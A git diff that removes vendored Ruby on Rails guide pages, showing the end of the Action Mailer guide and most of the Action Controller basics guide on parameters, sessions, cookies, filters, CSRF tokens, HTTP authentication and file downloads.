-    content_type    "multipart/alternative"
-
-    attachment :content_type => "image/jpeg",
-      :body => File.read("an-image.jpg")
-
-    attachment "application/pdf" do |a|
-      a.body = generate_your_pdf_here()
-    end
-  end
-
-end
-
-

3. Receiving Emails

-
-

Receiving and parsing emails with Action Mailer can be a rather complex endeavour. Before your email reaches your Rails app, you would have had to configure your system to somehow forward emails to your app, which needs to be listening for that. -So, to receive emails in your Rails app you’ll need:

-
    -
  1. -

    -Configure your email server to forward emails from the address(es) you would like your app to receive to /path/to/app/script/runner 'UserMailer.receive(STDIN.read)' -

    -
    2. -
  2. -

    -Implement a receive method in your mailer -

    -
    3. -
-

Once a method called receive is defined in any mailer, Action Mailer will parse the raw incoming email into an email object, decode it, instantiate a new mailer, and pass the email object to the mailer object‘s receive method. Here’s an example:

-
-
-
class UserMailer < ActionMailer::Base
-
-  def receive(email)
-    page = Page.find_by_address(email.to.first)
-    page.emails.create(
-      :subject => email.subject,
-      :body => email.body
-    )
-
-    if email.has_attachments?
-      for attachment in email.attachments
-        page.attachments.create({
-          :file => attachment,
-          :description => email.subject
-        })
-      end
-    end
-  end
-
-
-end
-
-

4. Using Action Mailer Helpers

-
-

Action Mailer classes have 4 helper methods available to them:

-
- --- - - - - - - - - - - - - - - - - - -

add_template_helper(helper_module)

Makes all the (instance) methods in the helper module available to templates rendered through this controller.

helper(*args, &block)

Declare a helper: - helper :foo -requires foo_helper and includes FooHelper in the template class. - helper FooHelper -includes FooHelper in the template class. -evaluates the block in the template class, adding method foo. - helper(:three, BlindHelper) { def mice() mice end } -does all three.

helper_method

Declare a controller method as a helper. For example, - helper_method :link_to - def link_to(name, options) ... end -makes the link_to controller method available in the view.

helper_attr

Declare a controller attribute as a helper. For example, - helper_attr :name - attr_accessor :name -makes the name and name= controller methods available in the view. -The is a convenience wrapper for helper_method.

-
-
-

5. Action Mailer Configuration

-
-

The following configuration options are best made in one of the environment files (environment.rb, production.rb, etc...)

-
- --- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

template_root

Determines the base from which template references will be made.

logger

the logger is used for generating information on the mailing run if available. - Can be set to nil for no logging. Compatible with both Ruby’s own Logger and Log4r loggers.

smtp_settings

Allows detailed configuration for :smtp delivery method:

-
- --- - - - - - - - - - - - - - - - - - - - - - - - - - -

:address

Allows you to use a remote mail server. Just change it from its default "localhost" setting.

:port

On the off chance that your mail server doesn’t run on port 25, you can change it.

:domain

If you need to specify a HELO domain, you can do it here.

:user_name

If your mail server requires authentication, set the username in this setting.

:password

If your mail server requires authentication, set the password in this setting.

:authentication

If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of :plain, :login, :cram_md5.

-

sendmail_settings

Allows you to override options for the :sendmail delivery method.

-
- --- - - - - - - - - - -

:location

The location of the sendmail executable. Defaults to /usr/sbin/sendmail.

:arguments

The command line arguments. Defaults to -i -t.

-

raise_delivery_errors

Whether or not errors should be raised if the email fails to be delivered.

delivery_method

Defines a delivery method. Possible values are :smtp (default), :sendmail, and :test.

perform_deliveries

Determines whether deliver_* methods are actually carried out. By default they are, - but this can be turned off to help functional testing.

deliveries

Keeps an array of all the emails sent out through the Action Mailer with delivery_method :test. Most useful - for unit and functional testing.

default_charset

The default charset used for the body and to encode the subject. Defaults to UTF-8. You can also - pick a different charset from inside a method with charset.

default_content_type

The default content type used for the main part of the message. Defaults to "text/plain". You - can also pick a different content type from inside a method with content_type.

default_mime_version

The default mime version used for the message. Defaults to 1.0. You - can also pick a different value from inside a method with mime_version.

default_implicit_parts_order

When a message is built implicitly (i.e. multiple parts are assembled from templates - which specify the content type in their filenames) this variable controls how the parts are ordered. Defaults to - ["text/html", "text/enriched", "text/plain"]. Items that appear first in the array have higher priority in the mail client - and appear last in the mime encoded message. You can also pick a different order from inside a method with - implicit_parts_order.

-
-

5.1. Example Action Mailer Configuration

-

An example would be:

-
-
-
ActionMailer::Base.delivery_method = :sendmail
-ActionMailer::Base.sendmail_settings = {
-  :location => '/usr/sbin/sendmail',
-  :arguments => '-i -t'
-}
-ActionMailer::Base.perform_deliveries = true
-ActionMailer::Base.raise_delivery_errors = true
-ActionMailer::Base.default_charset = "iso-8859-1"
-

5.2. Action Mailer Configuration for GMail

-

Instructions copied from http://http://www.fromjavatoruby.com/2008/11/actionmailer-with-gmail-must-issue.html

-

First you must install the action_mailer_tls plugin from http://code.openrain.com/rails/action_mailer_tls/, then all you have to do is configure action mailer.

-
-
-
ActionMailer::Base.smtp_settings = {
-  :address        => "smtp.gmail.com",
-  :port           => 587,
-  :domain         => "domain.com",
-  :user_name      => "user@domain.com",
-  :password       => "password",
-  :authentication => :plain
-}
-

5.3. Configure Action Mailer to recognize HAML templates

-

In environment.rb, add the following line:

-
-
-
ActionMailer::Base.register_template_extension('haml')
-
-

6. Mailer Testing

-
-

Testing mailers involves 2 things. One is that the mail was queued and the other that the body contains what we expect it to contain. With that in mind, we could test our example mailer from above like so:

-
-
-
class UserMailerTest < ActionMailer::TestCase
-    tests UserMailer
-
-    def test_welcome_email
-      user = users(:some_user_in_your_fixtures)
-
-      # Send the email, then test that it got queued
-      email = UserMailer.deliver_welcome_email(user)
-      assert !ActionMailer::Base.deliveries.empty?
-
-      # Test the body of the sent email contains what we expect it to
-      assert_equal [@user.email],                 email.to
-      assert_equal "Welcome to My Awesome Site",  email.subject
-      assert       email.body =~ /Welcome to example.com, #{user.first_name}/
-    end
-  end
-

What have we done? Well, we sent the email and stored the returned object in the email variable. We then ensured that it was sent (the first assert), then, in the second batch of assertion, we ensure that the email does indeed contain the values that we expect.

-
-

7. Epilogue

-
-

This guide presented how to create a mailer and how to test it. In reality, you may find that writing your tests before you actually write your code to be a rewarding experience. It may take some time to get used to TDD (Test Driven Development), but coding this way achieves two major benefits. Firstly, you know that the code does indeed work, because the tests fail (because there’s no code), then they pass, because the code that satisfies the tests was written. Secondly, when you start with the tests, you don’t have to make time AFTER you write the code, to write the tests, then never get around to it. The tests are already there and testing has now become part of your coding regimen.

-
- -
-
- - diff --git a/vendor/rails/railties/doc/guides/html/actioncontroller_basics.html b/vendor/rails/railties/doc/guides/html/actioncontroller_basics.html deleted file mode 100644 index 201a2c62..00000000 --- a/vendor/rails/railties/doc/guides/html/actioncontroller_basics.html +++ /dev/null @@ -1,1080 +0,0 @@ - - - - - Action Controller basics - - - - - - - - -
- - - -
-

Action Controller basics

-
-
-

In this guide you will learn how controllers work and how they fit into the request cycle in your application. After reading this guide, you will be able to:

-
    -
  • -

    -Follow the flow of a request through a controller -

    -
    • -
  • -

    -Understand why and how to store data in the session or cookies -

    -
    • -
  • -

    -Work with filters to execute code during request processing -

    -
    • -
  • -

    -Use Action Controller’s built-in HTTP authentication -

    -
    • -
  • -

    -Stream data directly to the user’s browser -

    -
    • -
  • -

    -Filter sensitive parameters so they do not appear in the application’s log -

    -
    • -
  • -

    -Deal with exceptions that may be raised during request processing -

    -
    • -
-
-
-

1. What Does a Controller do?

-
-

Action Controller is the C in MVC. After routing has determined which controller to use for a request, your controller is responsible for making sense of the request and producing the appropriate output. Luckily, Action Controller does most of the groundwork for you and uses smart conventions to make this as straight-forward as possible.

-

For most conventional RESTful applications, the controller will receive the request (this is invisible to you as the developer), fetch or save data from a model and use a view to create HTML output. If your controller needs to do things a little differently, that’s not a problem, this is just the most common way for a controller to work.

-

A controller can thus be thought of as a middle man between models and views. It makes the model data available to the view so it can display that data to the user, and it saves or updates data from the user to the model.

-
- - - -
-Note -For more details on the routing process, see Rails Routing from the Outside In.
-
-
-

2. Methods and Actions

-
-

A controller is a Ruby class which inherits from ApplicationController and has methods just like any other class. When your application receives a request, the routing will determine which controller and action to run, then Rails creates an instance of that controller and runs the public method with the same name as the action.

-
-
-
class ClientsController < ApplicationController
-
-  # Actions are public methods
-  def new
-  end
-
-  # Action methods are responsible for producing output
-  def edit
-  end
-
-# Helper methods are private and can not be used as actions
-private
-
-  def foo
-  end
-
-end
-

There’s no rule saying a method on a controller has to be an action; they may well be used for other purposes such as filters, which will be covered later in this guide.

-

As an example, if a user goes to /clients/new in your application to add a new client, Rails will create an instance of ClientsController and run the new method. Note that the empty method from the example above could work just fine because Rails will by default render the new.html.erb view unless the action says otherwise. The new method could make available to the view a @client instance variable by creating a new Client:

-
-
-
def new
-  @client = Client.new
-end
-

The Layouts & rendering guide explains this in more detail.

-

ApplicationController inherits from ActionController::Base, which defines a number of helpful methods. This guide will cover some of these, but if you’re curious to see what’s in there, you can see all of them in the API documentation or in the source itself.

-
-

3. Parameters

-
-

You will probably want to access data sent in by the user or other parameters in your controller actions. There are two kinds of parameters possible in a web application. The first are parameters that are sent as part of the URL, called query string parameters. The query string is everything after "?" in the URL. The second type of parameter is usually referred to as POST data. This information usually comes from a HTML form which has been filled in by the user. It’s called POST data because it can only be sent as part of an HTTP POST request. Rails does not make any distinction between query string parameters and POST parameters, and both are available in the params hash in your controller:

-
-
-
class ClientsController < ActionController::Base
-
-  # This action uses query string parameters because it gets run by a HTTP
-  # GET request, but this does not make any difference to the way in which
-  # the parameters are accessed. The URL for this action would look like this
-  # in order to list activated clients: /clients?status=activated
-  def index
-    if params[:status] = "activated"
-      @clients = Client.activated
-    else
-      @clients = Client.unativated
-    end
-  end
-
-  # This action uses POST parameters. They are most likely coming from an HTML
-  # form which the user has submitted. The URL for this RESTful request will
-  # be "/clients", and the data will be sent as part of the request body.
-  def create
-    @client = Client.new(params[:client])
-    if @client.save
-      redirect_to @client
-    else
-      # This line overrides the default rendering behavior, which would have been
-      # to render the "create" view.
-      render :action => "new"
-    end
-  end
-
-end
-

3.1. Hash and Array Parameters

-

The params hash is not limited to one-dimensional keys and values. It can contain arrays and (nested) hashes. To send an array of values, append "[]" to the key name:

-
-
-
GET /clients?ids[]=1&ids[]=2&ids[]=3
-
-
- - - -
-Note -The actual URL in this example will be encoded as "/clients?ids%5b%5d=1&ids%5b%5d=2&ids%5b%5b=3" as [ and ] are not allowed in URLs. Most of the time you don’t have to worry about this because the browser will take care of it for you, and Rails will decode it back when it receives it, but if you ever find yourself having to send those requests to the server manually you have to keep this in mind.
-
-

The value of params[:ids] will now be ["1", "2", "3"]. Note that parameter values are always strings; Rails makes no attempt to guess or cast the type.

-

To send a hash you include the key name inside the brackets:

-
-
-
<form action="/clients" method="post">
-  <input type="text" name="client[name]" value="Acme" />
-  <input type="text" name="client[phone]" value="12345" />
-  <input type="text" name="client[address][postcode]" value="12345" />
-  <input type="text" name="client[address][city]" value="Carrot City" />
-</form>
-
-

The value of params[:client] when this form is submitted will be {"name" => "Acme", "phone" => "12345", "address" => {"postcode" => "12345", "city" => "Carrot City"}}. Note the nested hash in params[:client][:address].

-

Note that the params hash is actually an instance of HashWithIndifferentAccess from Active Support which is a subclass of Hash which lets you use symbols and strings interchangeably as keys.

-

3.2. Routing Parameters

-

The params hash will always contain the :controller and :action keys, but you should use the methods controller_name and action_name instead to access these values. Any other parameters defined by the routing, such as :id will also be available. As an example, consider a listing of clients where the list can show either active or inactive clients. We can add a route which captures the :status parameter in a "pretty" URL:

-
-
-
# ...
-map.connect "/clients/:status", :controller => "clients", :action => "index", :foo => "bar"
-# ...
-

In this case, when a user opens the URL /clients/active, params[:status] will be set to "active". When this route is used, params[:foo] will also be set to "bar" just like it was passed in the query string in the same way params[:action] will contain "index".

-

3.3. default_url_options

-

You can set global default parameters that will be used when generating URLs with default_url_options. To do this, define a method with that name in your controller:

-
-
-
class ApplicationController < ActionController::Base
-
-  #The options parameter is the hash passed in to +url_for+
-  def default_url_options(options)
-    {:locale => I18n.locale}
-  end
-
-end
-
-

These options will be used as a starting-point when generating, so it’s possible they’ll be overridden by url_for. Because this method is defined in the controller, you can define it on ApplicationController so it would be used for all URL generation, or you could define it on only one controller for all URLs generated there.

-
-

4. Session

-
-

Your application has a session for each user in which you can store small amounts of data that will be persisted between requests. The session is only available in the controller and the view and can use one of a number of different storage mechanisms:

-
    -
  • -

    -CookieStore - Stores everything on the client. -

    -
    • -
  • -

    -DRbStore - Stores the data on a DRb server. -

    -
    • -
  • -

    -MemCacheStore - Stores the data in a memcache. -

    -
    • -
  • -

    -ActiveRecordStore - Stores the data in a database using Active Record. -

    -
    • -
-

All session stores use a cookie - this is required and Rails does not allow any part of the session to be passed in any other way (e.g. you can’t use the query string to pass a session ID) because of security concerns (it’s easier to hijack a session when the ID is part of the URL).

-

Most stores use a cookie to store the session ID which is then used to look up the session data on the server. The default and recommended store, the CookieStore, does not store session data on the server, but in the cookie itself. The data is cryptographically signed to make it tamper-proof, but it is not encrypted, so anyone with access to it can read its contents but not edit it (Rails will not accept it if it has been edited). It can only store about 4kB of data - much less than the others - but this is usually enough. Storing large amounts of data is discouraged no matter which session store your application uses. You should especially avoid storing complex objects (anything other than basic Ruby objects, the most common example being model instances) in the session, as the server might not be able to reassemble them between requests, which will result in an error. The CookieStore has the added advantage that it does not require any setting up beforehand - Rails will generate a "secret key" which will be used to sign the cookie when you create the application.

-

Read more about session storage in the Security Guide.

-

If you need a different session storage mechanism, you can change it in the config/environment.rb file:

-
-
-
# Set to one of [:active_record_store, :drb_store, :mem_cache_store, :cookie_store]
-config.action_controller.session_store = :active_record_store
-

4.1. Accessing the Session

-

In your controller you can access the session through the session instance method.

-
- - - -
-Note -Sessions are lazily loaded. If you don’t access sessions in your action’s code, they will not be loaded. Hence you will never need to disable sessions, just not accessing them will do the job.
-
-

Session values are stored using key/value pairs like a hash:

-
-
-
class ApplicationController < ActionController::Base
-
-private
-
-  # Finds the User with the ID stored in the session with the key :current_user_id
-  # This is a common way to handle user login in a Rails application; logging in sets the
-  # session value and logging out removes it.
-  def current_user
-    @_current_user ||= session[:current_user_id] && User.find(session[:current_user_id])
-  end
-
-end
-

To store something in the session, just assign it to the key like a hash:

-
-
-
class LoginsController < ApplicationController
-
-  # "Create" a login, aka "log the user in"
-  def create
-    if user = User.authenticate(params[:username, params[:password])
-      # Save the user ID in the session so it can be used in subsequent requests
-      session[:current_user_id] = user.id
-      redirect_to root_url
-    end
-  end
-
-end
-

To remove something from the session, assign that key to be nil:

-
-
-
class LoginsController < ApplicationController
-
-  # "Delete" a login, aka "log the user out"
-  def destroy
-    # Remove the user id from the session
-    session[:current_user_id] = nil
-    redirect_to root_url
-  end
-
-end
-

To reset the entire session, use reset_session.

-

4.2. The flash

-

The flash is a special part of the session which is cleared with each request. This means that values stored there will only be available in the next request, which is useful for storing error messages etc. It is accessed in much the same way as the session, like a hash. Let’s use the act of logging out as an example. The controller can send a message which will be displayed to the user on the next request:

-
-
-
class LoginsController < ApplicationController
-
-  def destroy
-    session[:current_user_id] = nil
-    flash[:notice] = "You have successfully logged out"
-    redirect_to root_url
-  end
-
-end
-

The destroy action redirects to the application’s root_url, where the message will be displayed. Note that it’s entirely up to the next action to decide what, if anything, it will do with what the previous action put in the flash. It’s conventional to display eventual errors or notices from the flash in the application’s layout:

-
-
-
<html>
-  <!-- <head/> -->
-  <body>
-    <% if flash[:notice] -%>
-      <p class="notice"><%= flash[:notice] %></p>
-    <% end -%>
-    <% if flash[:error] -%>
-      <p class="error"><%= flash[:error] %></p>
-    <% end -%>
-    <!-- more content -->
-  </body>
-</html>
-
-

This way, if an action sets an error or a notice message, the layout will display it automatically.

-

If you want a flash value to be carried over to another request, use the keep method:

-
-
-
class MainController < ApplicationController
-
-  # Let's say this action corresponds to root_url, but you want all requests here to be redirected to
-  # UsersController#index. If an action sets the flash and redirects here, the values would normally be
-  # lost when another redirect happens, but you can use keep to make it persist for another request.
-  def index
-    flash.keep # Will persist all flash values. You can also use a key to keep only that value: flash.keep(:notice)
-    redirect_to users_url
-  end
-
-end
-

4.2.1. flash.now

-

By default, adding values to the flash will make them available to the next request, but sometimes you may want to access those values in the same request. For example, if the create action fails to save a resource and you render the new template directly, that’s not going to result in a new request, but you may still want to display a message using the flash. To do this, you can use flash.now in the same way you use the normal flash:

-
-
-
class ClientsController < ApplicationController
-
-  def create
-    @client = Client.new(params[:client])
-    if @client.save
-      # ...
-    else
-      flash.now[:error] = "Could not save client"
-      render :action => "new"
-    end
-  end
-
-end
-
-

5. Cookies

-
-

Your application can store small amounts of data on the client - called cookies - that will be persisted across requests and even sessions. Rails provides easy access to cookies via the cookies method, which - much like the session - works like a hash:

-
-
-
class CommentsController < ApplicationController
-
-  def new
-    #Auto-fill the commenter's name if it has been stored in a cookie
-    @comment = Comment.new(:name => cookies[:commenter_name])
-  end
-
-  def create
-    @comment = Comment.new(params[:comment])
-    if @comment.save
-      flash[:notice] = "Thanks for your comment!"
-      if params[:remember_name]
-        # Remember the commenter's name
-        cookies[:commenter_name] = @comment.name
-      else
-        # Don't remember, and delete the name if it has been remembered before
-        cookies.delete(:commenter_name)
-      end
-      redirect_to @comment.article
-    else
-      render :action => "new"
-    end
-  end
-
-end
-

Note that while for session values you set the key to nil, to delete a cookie value you should use cookies.delete(:key).

-
-

6. Filters

-
-

Filters are methods that are run before, after or "around" a controller action. For example, one filter might check to see if the logged in user has the right credentials to access that particular controller or action. Filters are inherited, so if you set a filter on ApplicationController, it will be run on every controller in your application. A common, simple filter is one which requires that a user is logged in for an action to be run. You can define the filter method this way:

-
-
-
class ApplicationController < ActionController::Base
-
-private
-
-  def require_login
-    unless logged_in?
-      flash[:error] = "You must be logged in to access this section"
-      redirect_to new_login_url # Prevents the current action from running
-    end
-  end
-
-  # The logged_in? method simply returns true if the user is logged in and
-  # false otherwise. It does this by "booleanizing" the current_user method
-  # we created previously using a double ! operator. Note that this is not
-  # common in Ruby and is discouraged unless you really mean to convert something
-  # into true or false.
-  def logged_in?
-    !!current_user
-  end
-
-end
-

The method simply stores an error message in the flash and redirects to the login form if the user is not logged in. If a before filter (a filter which is run before the action) renders or redirects, the action will not run. If there are additional filters scheduled to run after the rendering or redirecting filter, they are also cancelled. To use this filter in a controller, use the before_filter method:

-
-
-
class ApplicationController < ActionController::Base
-
-  before_filter :require_login
-
-end
-

In this example, the filter is added to ApplicationController and thus all controllers in the application. This will make everything in the application require the user to be logged in in order to use it. For obvious reasons (the user wouldn’t be able to log in in the first place!), not all controllers or actions should require this. You can prevent this filter from running before particular actions with skip_before_filter:

-
-
-
class LoginsController < Application
-
-  skip_before_filter :require_login, :only => [:new, :create]
-
-end
-

Now, the LoginsController’s new and create actions will work as before without requiring the user to be logged in. The :only option is used to only skip this filter for these actions, and there is also an :except option which works the other way. These options can be used when adding filters too, so you can add a filter which only runs for selected actions in the first place.

-

6.1. After Filters and Around Filters

-

In addition to the before filters, you can run filters after an action has run or both before and after. The after filter is similar to the before filter, but because the action has already been run it has access to the response data that’s about to be sent to the client. Obviously, after filters can not stop the action from running. Around filters are responsible for running the action, but they can choose not to, which is the around filter’s way of stopping it.

-
-
-
# Example taken from the Rails API filter documentation:
-# http://api.rubyonrails.org/classes/ActionController/Filters/ClassMethods.html
-class ApplicationController < Application
-
-  around_filter :catch_exceptions
-
-private
-
-  def catch_exceptions
-    yield
-  rescue => exception
-    logger.debug "Caught exception! #{exception}"
-    raise
-  end
-
-end
-

6.2. Other Ways to Use Filters

-

While the most common way to use filters is by creating private methods and using *_filter to add them, there are two other ways to do the same thing.

-

The first is to use a block directly with the *_filter methods. The block receives the controller as an argument, and the require_login filter from above could be rewritten to use a block:

-
-
-
class ApplicationController < ActionController::Base
-
-  before_filter { |controller| redirect_to new_login_url unless controller.send(:logged_in?) }
-
-end
-

Note that the filter in this case uses send because the logged_in? method is private and the filter is not run in the scope of the controller. This is not the recommended way to implement this particular filter, but in more simple cases it might be useful.

-

The second way is to use a class (actually, any object that responds to the right methods will do) to handle the filtering. This is useful in cases that are more complex than can not be implemented in a readable and reusable way using the two other methods. As an example, you could rewrite the login filter again to use a class:

-
-
-
class ApplicationController < ActionController::Base
-
-  before_filter LoginFilter
-
-end
-
-class LoginFilter
-
-  def self.filter(controller)
-    unless logged_in?
-      controller.flash[:error] = "You must be logged in to access this section"
-      controller.redirect_to controller.new_login_url
-    end
-  end
-
-end
-

Again, this is not an ideal example for this filter, because it’s not run in the scope of the controller but gets the controller passed as an argument. The filter class has a class method filter which gets run before or after the action, depending on if it’s a before or after filter. Classes used as around filters can also use the same filter method, which will get run in the same way. The method must yield to execute the action. Alternatively, it can have both a before and an after method that are run before and after the action.

-

The Rails API documentation has more information on using filters.

-
-

7. Verification

-
-

Verifications make sure certain criteria are met in order for a controller or action to run. They can specify that a certain key (or several keys in the form of an array) is present in the params, session or flash hashes or that a certain HTTP method was used or that the request was made using XMLHTTPRequest (Ajax). The default action taken when these criteria are not met is to render a 400 Bad Request response, but you can customize this by specifying a redirect URL or rendering something else and you can also add flash messages and HTTP headers to the response. It is described in the API documentation as "essentially a special kind of before_filter".

-

Here’s an example of using verification to make sure the user supplies a username and a password in order to log in:

-
-
-
class LoginsController < ApplicationController
-
-  verify :params => [:username, :password],
-         :render => {:action => "new"},
-         :add_flash => {:error => "Username and password required to log in"}
-
-  def create
-    @user = User.authenticate(params[:username], params[:password])
-    if @user
-      flash[:notice] = "You're logged in"
-      redirect_to root_url
-    else
-      render :action => "new"
-    end
-  end
-
-end
-

Now the create action won’t run unless the "username" and "password" parameters are present, and if they’re not, an error message will be added to the flash and the new action will be rendered. But there’s something rather important missing from the verification above: It will be used for every action in LoginsController, which is not what we want. You can limit which actions it will be used for with the :only and :except options just like a filter:

-
-
-
class LoginsController < ApplicationController
-
-  verify :params => [:username, :password],
-         :render => {:action => "new"},
-         :add_flash => {:error => "Username and password required to log in"},
-         :only => :create # Only run this verification for the "create" action
-
-end
-
-

8. Request Forgery Protection

-
-

Cross-site request forgery is a type of attack in which a site tricks a user into making requests on another site, possibly adding, modifying or deleting data on that site without the user’s knowledge or permission. The first step to avoid this is to make sure all "destructive" actions (create, update and destroy) can only be accessed with non-GET requests. If you’re following RESTful conventions you’re already doing this. However, a malicious site can still send a non-GET request to your site quite easily, and that’s where the request forgery protection comes in. As the name says, it protects from forged requests. The way this is done is to add a non-guessable token which is only known to your server to each request. This way, if a request comes in without the proper token, it will be denied access.

-

If you generate a form like this:

-
-
-
<% form_for @user do |f| -%>
-  <%= f.text_field :username %>
-  <%= f.text_field :password -%>
-<% end -%>
-

You will see how the token gets added as a hidden field:

-
-
-
<form action="/users/1" method="post">
-<div><!-- ... --><input type="hidden" value="67250ab105eb5ad10851c00a5621854a23af5489" name="authenticity_token"/></div>
-<!-- Fields -->
-</form>
-

Rails adds this token to every form that’s generated using the form helpers, so most of the time you don’t have to worry about it. If you’re writing a form manually or need to add the token for another reason, it’s available through the method form_authenticity_token:

-
-
Add a JavaScript variable containing the token for use with Ajax
-
-
<%= javascript_tag "MyApp.authenticity_token = '#{form_authenticity_token}'" %>
-
-

The Security Guide has more about this and a lot of other security-related issues that you should be aware of when developing a web application.

-
-

9. The request and response Objects

-
-

In every controller there are two accessor methods pointing to the request and the response objects associated with the request cycle that is currently in execution. The request method contains an instance of AbstractRequest and the response method returns a response object representing what is going to be sent back to the client.

-

9.1. The request Object

-

The request object contains a lot of useful information about the request coming in from the client. To get a full list of the available methods, refer to the API documentation. Among the properties that you can access on this object are:

-
    -
  • -

    -host - The hostname used for this request. -

    -
    • -
  • -

    -domain(n=2) - The hostname’s first n segments, starting from the right (the TLD) -

    -
    • -
  • -

    -format - The content type requested by the client. -

    -
    • -
  • -

    -method - The HTTP method used for the request. -

    -
    • -
  • -

    -get?, post?, put?, delete?, head? - Returns true if the HTTP method is GET/POST/PUT/DELETE/HEAD. -

    -
    • -
  • -

    -headers - Returns a hash containing the headers associated with the request. -

    -
    • -
  • -

    -port - The port number (integer) used for the request. -

    -
    • -
  • -

    -protocol - Returns a string containing the prototol used plus "://", for example "http://" -

    -
    • -
  • -

    -query_string - The query string part of the URL - everything after "?". -

    -
    • -
  • -

    -remote_ip - The IP address of the client. -

    -
    • -
  • -

    -url - The entire URL used for the request. -

    -
    • -
-

9.1.1. path_parameters, query_parameters and request_parameters

-

Rails collects all of the parameters sent along with the request in the params hash, whether they are sent as part of the query string or the post body. The request object has three accessors that give you access to these parameters depending on where they came from. The query_parameters hash contains parameters that were sent as part of the query string while the request_parameters hash contains parameters sent as part of the post body. The path_parameters hash contains parameters that were recognized by the routing as being part of the path leading to this particular controller and action.

-

9.2. The response Object

-

The response object is not usually used directly, but is built up during the execution of the action and rendering of the data that is being sent back to the user, but sometimes - like in an after filter - it can be useful to access the response directly. Some of these accessor methods also have setters, allowing you to change their values.

-
    -
  • -

    -body - This is the string of data being sent back to the client. This is most often HTML. -

    -
    • -
  • -

    -status - The HTTP status code for the response, like 200 for a successful request or 404 for file not found. -

    -
    • -
  • -

    -location - The URL the client is being redirected to, if any. -

    -
    • -
  • -

    -content_type - The content type of the response. -

    -
    • -
  • -

    -charset - The character set being used for the response. Default is "utf8". -

    -
    • -
  • -

    -headers - Headers used for the response. -

    -
    • -
-

9.2.1. Setting Custom Headers

-

If you want to set custom headers for a response then response.headers is the place to do it. The headers attribute is a hash which maps header names to their values, and Rails will set some of them - like "Content-Type" - automatically. If you want to add or change a header, just assign it to headers with the name and value:

-
-
-
response.headers["Content-Type"] = "application/pdf"
-
-

10. HTTP Authentications

-
-

Rails comes with two built-in HTTP authentication mechanisms :

-
    -
  • -

    -Basic Authentication -

    -
    • -
  • -

    -Digest Authentication -

    -
    • -
-

10.1. HTTP Basic Authentication

-

HTTP Basic authentication is an authentication scheme that is supported by the majority of browsers and other HTTP clients. As an example, consider an administration section which will only be available by entering a username and a password into the browser’s HTTP Basic dialog window. Using the built-in authentication is quite easy and only requires you to use one method, authenticate_or_request_with_http_basic.

-
-
-
class AdminController < ApplicationController
-
-  USERNAME, PASSWORD = "humbaba", "5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8"
-
-  before_filter :authenticate
-
-  private
-
-  def authenticate
-    authenticate_or_request_with_http_basic do |username, password|
-      username == USERNAME && Digest::SHA1.hexdigest(password) == PASSWORD
-    end
-  end
-
-end
-

With this in place, you can create namespaced controllers that inherit from AdminController. The before filter will thus be run for all actions in those controllers, protecting them with HTTP Basic authentication.

-

10.2. HTTP Digest Authentication

-

HTTP Digest authentication is superior to the Basic authentication as it does not require the client to send unencrypted password over the network. Using Digest authentication with Rails is quite easy and only requires using one method, authenticate_or_request_with_http_digest.

-
-
-
class AdminController < ApplicationController
-
-  USERS = { "lifo" => "world" }
-
-  before_filter :authenticate
-
-  private
-
-  def authenticate
-    authenticate_or_request_with_http_digest do |username|
-      USERS[username]
-    end
-  end
-
-end
-

As seen in the example above, authenticate_or_request_with_http_digest block takes only one argument - the username. And the block returns the password. Returning false or nil from the authenticate_or_request_with_http_digest will cause authentication failure.

-
-

11. Streaming and File Downloads

-
-

Sometimes you may want to send a file to the user instead of rendering an HTML page. All controllers in Rails have the send_data and the send_file methods, that will both stream data to the client. send_file is a convenience method which lets you provide the name of a file on the disk and it will stream the contents of that file for you.

-

To stream data to the client, use send_data:

-
-
-
require "prawn"
-class ClientsController < ApplicationController
-
-  # Generate a PDF document with information on the client and return it.
-  # The user will get the PDF as a file download.
-  def download_pdf
-    client = Client.find(params[:id])
-    send_data(generate_pdf, :filename => "#{client.name}.pdf", :type => "application/pdf")
-  end
-
-private
-
-  def generate_pdf(client)
-    Prawn::Document.new do
-      text client.name, :align => :center
-      text "Address: #{client.address}"
-      text "Email: #{client.email}"
-    end.render
-  end
-
-end
-

The download_pdf action in the example above will call a private method which actually generates the file (a PDF document) and returns it as a string. This string will then be streamed to the client as a file download and a filename will be suggested to the user. Sometimes when streaming files to the user, you may not want them to download the file. Take images, for example, which can be embedded into HTML pages. To tell the browser a file is not meant to be downloaded, you can set the :disposition option to "inline". The opposite and default value for this option is "attachment".

-

11.1. Sending Files

-

If you want to send a file that already exists on disk, use the send_file method. This is usually not recommended, but can be useful if you want to perform some authentication before letting the user download the file.

-
-
-
class ClientsController < ApplicationController
-
-  # Stream a file that has already been generated and stored on disk
-  def download_pdf
-    client = Client.find(params[:id])
-    send_data("#{RAILS_ROOT}/files/clients/#{client.id}.pdf", :filename => "#{client.name}.pdf", :type => "application/pdf")
-  end
-
-end
-

This will read and stream the file 4Kb at the time, avoiding loading the entire file into memory at once. You can turn off streaming with the :stream option or adjust the block size with the :buffer_size option.

-
- - - -
-Warning -Be careful when using (or just don’t use) "outside" data (params, cookies, etc) to locate the file on disk, as this is a security risk that might allow someone to gain access to files they are not meant to see.
-
-
- - - -
-Tip -It is not recommended that you stream static files through Rails if you can instead keep them in a public folder on your web server. It is much more efficient to let the user download the file directly using Apache or another web server, keeping the request from unnecessarily going through the whole Rails stack. Although if you do need the request to go through Rails for some reason, you can set the :x_sendfile option to true, and Rails will let the web server handle sending the file to the user, freeing up the Rails process to do other things. Note that your web server needs to support the X-Sendfile header for this to work, and you still have to be careful not to use user input in a way that lets someone retrieve arbitrary files.
-
-

11.2. RESTful Downloads

-

While send_data works just fine, if you are creating a RESTful application having separate actions for file downloads is usually not necessary. In REST terminology, the PDF file from the example above can be considered just another representation of the client resource. Rails provides an easy and quite sleek way of doing "RESTful downloads". Here’s how you can rewrite the example so that the PDF download is a part of the show action, without any streaming:

-
-
-
class ClientsController < ApplicationController
-
-  # The user can request to receive this resource as HTML or PDF.
-  def show
-    @client = Client.find(params[:id])
-
-    respond_to do |format|
-      format.html
-      format.pdf{ render :pdf => generate_pdf(@client) }
-    end
-  end
-
-end
-

In order for this example to work, you have to add the PDF MIME type to Rails. This can be done by adding the following line to the file config/initializers/mime_types.rb:

-
-
-
Mime::Type.register "application/pdf", :pdf
-
- - - -
-Note -Configuration files are not reloaded on each request, so you have to restart the server in order for their changes to take effect.
-
-

Now the user can request to get a PDF version of a client just by adding ".pdf" to the URL:

-
-
-
GET /clients/1.pdf
-
-
-

12. Parameter Filtering

-
-

